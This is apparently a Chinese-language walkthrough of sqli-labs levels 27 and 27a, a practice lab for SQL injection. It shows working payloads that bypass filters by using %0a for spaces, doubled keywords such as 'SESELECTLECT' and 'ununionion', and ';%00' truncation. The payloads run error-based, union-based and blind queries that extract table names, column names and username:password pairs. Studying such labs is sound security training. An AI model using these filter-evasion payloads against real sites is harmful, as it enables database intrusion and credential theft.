第27关
这一关union、select以及空格都被过滤,但这次惊喜发现%0a可以替换空格
先判断是字符型还是数字型注入
?id=1%0aand%0a1=1
?id=1%0aand%0a1=2
1 and 1=1, 1 and 1=2都显示正常,故为字符型注入,继续判断是什么注入类型
采用单引号,发现报错
进行闭合,发现采用--+以及#等注释符都不起作用,故注释符也被过滤,采用其它闭合方式,id=2' and '1'='1
id=2'%0aand%0a'1'='1
一般流程是猜测字段数用order by,但发现不管order by 数字如何,都是返回正确的,且没有报错
这里拿sqli-labs第一关试下
第一关是单引号注入,进行单引号闭合,分别采用注释符和'1'='1
结果都正常,在此基础上分别猜测字段数,采用order by 4
结果发现只有在注释符的作用下,Order by 4才能显示报错信息,所以如果后面不是采用注释符进行闭合,order by 数字不起作用
emmm,还是不知道为啥order by不起作用,或许被强制转换了?或者本来就没有这个用法。
反正这个方法得出字段数行不通;
有报错信息,那就采用基于报错的SQL注入得出数据库
?2'%0aand%0aupdatexml(1,concat(0x7e,database()),1)%0aand%0a'1'='1
得出表名
?id=2'%0aand%0aupdatexml(1,concat(0x7e,(SESELECTLECT%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security')),1)%0aand%0a'1'='1
这里select采用大写复写绕过,SESELECTLECT,反正小写复写不行,url编码也不行
得出列名,%0a替换空格
?id=2' and updatexml(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1) and '1'='1
同理得出用户名密码,略
-------
方法二
补充,上网查了一下,发现这个操作可以得出字段数,oder by x;%00,直接用;结束,然后%00起截断作用,是字符串的结束标志,这样可以绕过后面的,如果去掉%00不起作用
代码
?id=2'%0aorder%0aby%0a4;%00
order by 3;%00的时候正确,说明字段数为3
得出回显点,union采用小写复写
?id=0'%0aununionion%0aSESELECTLECT%0a1,2,3;%00
得出表名
?id=0'%0aununionion%0aSESELECTLECT%0a1,2,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand'1'='1
得出列名
?id=0%27%0aununionion%0aSESELECTLECT%0a1,2,group_concat(column_name)%0afrom%0ainformation_schema.columns%0awhere%0atable_schema=database()%0aand%0atable_name=%27users%27;%00
得出用户名、密码
?id=0%27%0aununionion%0aSESELECTLECT%0a1,2,group_concat(username,%27:%27,password)%0afrom%0ausers;%00
第27a关
这一关是字符型双引号注入,且没有报错信息,无法得出字段数,但此关%0a仍然可以替换空格
1.采用SQL盲注
判断数据库大小
同样可以用截断方式
?id=2"%0aand%0alength(database())=8;%00
判断数据库
得出第一个字符为s,以此类推,得出数据库为security,同理得出表名,列名
------
2.采用联合注入方法
这里是采用Union方式得出回显点和数据库名(有点上帝视角,因为不会报错,不知道字段有几个)
?id=0"%0aununionion%0aSESELECTLECT%0a1,2,database();%00
得出表名
?id=2"%0aand%0aascii(mid(concat(0x7e,(SESELECTLECT%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1)),1,1))=101;%00
同理可得出users列名,用户名、密码